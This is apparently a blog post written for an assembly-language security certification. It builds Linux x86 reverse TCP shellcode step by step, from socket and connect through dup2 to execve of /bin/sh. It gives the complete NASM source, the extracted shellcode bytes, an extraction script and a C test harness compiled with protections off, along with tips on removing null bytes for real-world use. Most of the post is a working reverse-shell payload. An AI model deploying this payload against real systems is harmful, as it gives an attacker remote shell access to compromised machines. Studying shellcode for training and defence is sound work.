linux x86 shell reverse tcp shellcode
To create reverse tcp shellcode for linux system there are 4 major steps:
- create socket;
- connect to remote host;
- redirect standard input, output and error to created socket;
- execute shell.
Create socket
For x86_32 linux before kernel 4.3 the only entry point for socket API was socketcall() system call. Socketcall number is 102 in unistd_32.h
#define __NR_socketcall 102
Manual entry for socketcall gives information about function usage
SYNOPSIS
#include <linux/net.h>
int socketcall(int call, unsigned long *args);
linux/net.h contains definitions for call parameter
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
We need to pass 1 as first argument then we need to look at manual entry for socket() system call
SYNOPSIS
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
int socket(int domain, int type, int protocol);
IP(7) manual page contains information on how to create tcp socket.
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
And link to socket(2) which contains description of parameters.
The domain argument specifies a communication domain; this selects the protocol family which will be used for communication. The socket has the indicated type, which specifies the communication semantics. The protocol specifies a particular protocol to be used with the socket. Normally only a single protocol exists to support a particular socket type within a given protocol family, in which case protocol can be specified as 0.
Values for this parameters are defined in sys/socket.h file there is link to bits/socket.h which contains definition
#define PF_INET 2 /* IP protocol family. */
Also we investigate bits/socket_type.h
SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte streams. */
For protocol we use 0.
With this information it’s possible to create first part of shellcode. In eax we need to put 102 in dec or 0x66 in hex to call socketcall(), in ebx we put first argument for socketcall() to create socket is 1, than we need to push 3 arguments for socket() to the stack as defined previously is 2,1,0 and put in ecx the address of first argument in stack.
global _start section .text _start: xor ebx, ebx ; clear ebx mul ebx ; clear eax mov bl, 0x1 ; move 1 to ebx push eax ; push 0 on stack push ebx ; push 1 on stack (SOCK_STREAM) push 0x2 ; push 2 on stack (AF_INET) mov ecx, esp ; keep 1st argument address in ecx mov al, 0x66 ; move to eax 0x66 (__NR_socketcall) int 0x80 ; software interruption for syscall
As a result of this call we receive file descriptor for newly created socket in eax.
Connect to remote host
For second part we need to study manual entry for connect(2)
int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
First parameter is socket file descriptor that we have in eax, the second is pointer to sockaddr structure which is described in Linux programming manual on IP(7) section and contains address family (AF_INET is 2), port and address to connect to. 3rd parameter is length of sockaddr structure and it is not larger than 0x10.
struct sockaddr_in {
sa_family_t sin_family; /* address family: AF_INET */
in_port_t sin_port; /* port in network byte order */
struct in_addr sin_addr; /* internet address */
};
Now it’s time to create second part of shellcode and connect to remote host. First we create sockaddr structure in stack pushing address port and sin_family. After pushing we save address of this structure in ecx. Push 3rd parameter (addrlen) of connect() into stack, push address to sockaddr structure, push file descriptor of socket received from first part and kept in eax. Now connect function is ready and we need to keep address in stack to pass to socketcall function as second argument. Than we move to ebx 3 is SYS_CONNECT, keep socket file descriptor in edx to use it later, move to eax 0x66 to call socketcall system call and make software interrupt.
push 0x0100007f ; push address to stack 127.0.0.1 mov cx, 0xaaaa ; prepare eax to avoid 0 in shellcode push cx ; push port number to stack 43690 xor ecx, ecx ; clear ecx mov cl, 0x2 ; move sin_family to cl push cx ; push sin_family to stack mov ecx, esp ; keep sockaddr structure address in ecx push 0x10 ; push addrlen to stack push ecx ; push sockaddr address to stack push eax ; push socket file descriptor to stack mov ecx, esp ; move arguments address of connect() in ecx inc ebx ; now ebx is 2 inc ebx ; now ebx is 3 (SYS_CONNECT) mov edx, eax ; keep socket file descriptor in edx mov al, 0x66 ; prepare eax for socketcall 0x66 int 0x80 ; software interrupt systemcall
Redirect stdin, stdout, stderr
The third part is redirection of stdin, stdout and stderr to newly created socket to be able to interact with compromised system.
This is done using dup2() system call.
int dup2(int oldfd, int newfd);
The dup2() creates a copy of the file descriptor oldfd, using the file descriptor number specified in newfd. If the file descriptor newfd was previously open, it is silently closed before being reused.
As stdin, stdout and stderr have file descriptors 0,1 and 2 respectively we need to call dup2() three times passing this values as newfd. For oldfd we use previously created socket file descriptor.
xchg ebx, ecx ; keep 3 in ecx for counter xchg edx, ebx ; keep socket fd in ebx for use in dup2 loop: dec ecx ; decrement loop counter mov al, 0x3f ; prepare eax for dup2 systemcall (__NR_dup2 63) int 0x80 ; software interrupt for systemcall jcxz exec ; exit loop if counter in ecx is 0 jmp loop ; continue loop exec:
Execute /bin/sh
Last part is to execute shell which will communicate with stdin stdout and stderr and now after dup2 this functionality is passed to our socket. I used /bin/sh for this. To run a program there is a execve syscall. As usually Linux Programmer’s Manual describes this function.
int execve(const char *filename, char *const argv[], char *const envp[]);
execve syscall number is 11 in dec or 0xb in hex it needs to be moved to eax. We need to encode /bin/sh string to hex, push this values onto the stack with null termination. As we need avoid 0 in shellcode we add additional / to /bin//sh this doesn’t affect execution and allows to avoid 0. Than we need to keep address for the command in ebx. Documentation says that we need to pass program name as second parameter but /bin/sh works fine with 0 values for arvg[] and envp[], to reduce the size of shellcode they set at 0.
$ python -c ‘code4 = "/bin//sh"; print code4[::-1].encode("hex")’ 68732f2f6e69622f
mov al, 0xb ; prepare eax for execve syscall xor edx, edx ; clear edx push ecx ; push 0 onto the stack push 0x68732f2f ; push /bin//sh in reverse order push 0x6e69622f ; push /bin//sh in reverse order mov ebx, esp ; keep address for /bin//sh in ebx int 0x80 ; software interrupt systemcall
Final assembler code will be:
global _start section .text _start: xor ebx, ebx ; clear ebx mul ebx ; clear eax mov bl, 0x1 ; move 1 to ebx push eax ; push 0 on stack push ebx ; push 1 on stack (SOCK_STREAM) push 0x2 ; push 2 on stack (AF_INET) mov ecx, esp ; keep 1st argument address in ecx mov al, 0x66 ; move to eax 0x66 (__NR_socketcall) int 0x80 ; software interruption for syscall push 0x0100007f ; push address to stack 127.0.0.1 mov cx, 0xaaaa ; prepare eax to avoid 0 in shellcode push cx ; push port number to stack 43690 xor ecx, ecx ; clear ecx mov cl, 0x2 ; move sin_family to cl push cx ; push sin_family to stack mov ecx, esp ; keep sockaddr structure address in ecx push 0x10 ; push addrlen to stack push ecx ; push sockaddr address to stack push eax ; push socket file descriptor to stack mov ecx, esp ; move arguments address of connect() in ecx inc ebx ; now ebx is 2 inc ebx ; now ebx is 3 (SYS_CONNECT) mov edx, eax ; keep socket file descriptor in edx mov al, 0x66 ; prepare eax for socketcall 0x66 int 0x80 ; software interrupt systemcall xchg ebx, ecx ; keep 3 in ecx for counter xchg edx, ebx ; keep socket fd in ebx for use in dup2 loop: dec ecx ; decrement loop counter mov al, 0x3f ; prepare eax for dup2 systemcall (__NR_dup2 63) int 0x80 ; software interrupt for systemcall jcxz exec ; exit loop if counter in ecx is 0 jmp loop ; continue loop exec: mov al, 0xb ; prepare eax for execve syscall xor edx, edx ; clear edx push ecx ; push 0 onto the stack push 0x68732f2f ; push /bin//sh in reverse order push 0x6e69622f ; push /bin//sh in reverse order mov ebx, esp ; keep address for /bin//sh in ebx int 0x80 ; software interrupt systemcall
We compile nasm code into executable
$ nasm -f elf32 -o rev.o rev.nasm $ ld -N $1.o -o $1
Using getcode.sh script:
# This script gets shellcode from binary using objdump # http://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump #!/bin/bash if [ $# -eq 1 ]; then objdump -d ./$1|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-7 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ‘‘ -s |sed ‘s/^/"/’|sed ‘s/$/"/g’|sed ‘s/$/;/’ else echo "please input program name" fi
we get shellcode:
"\x31\xdb\xf7\xe3\xb3\x01\x50\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x68\x7f\x00\x00\x01\x66\xb9\xaa\xaa\x66\x51\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x50\x89\xe1\x43\x43\x89\xc2\xb0\x66\xcd\x80\x87\xd9\x87\xd3\x49\xb0\x3f\xcd\x80\x67\xe3\x02\xeb\xf6\xb0\x0b\x31\xd2\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
This shellcode contains zero values because for test purposes I’m connecting to localhost. In case of having 0 in real world scenario program needs to be adapted. For example, we can mov ecx, 0x0101017e than xor ecx, 0x10101, and finally push ecx.
To test this shellcode we use a wrapper to pass execution to shellcode.
#include <stdio.h> #include <string.h> unsigned char code[] = \ "\x31\xdb\xf7\xe3\xb3\x01\x50\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x68\x7f\x00\x00\x01\x66\xb9\xaa\xaa\x66\x51\x31\xc9\xb1\x02\x66\x51\x89\xe1\x6a\x10\x51\x50\x89\xe1\x43\x43\x89\xc2\xb0\x66\xcd\x80\x87\xd9\x87\xd3\x49\xb0\x3f\xcd\x80\x67\xe3\x02\xeb\xf6\xb0\x0b\x31\xd2\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"; int main () { printf("Shellcode length: %d\n", strlen(code)); int(*ret)() = (int(*)())code; ret(); }
Compile it
$ gcc -fno-stack-protector -z execstack rev.c -o revc
And execute
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
Student ID: SLAE-1063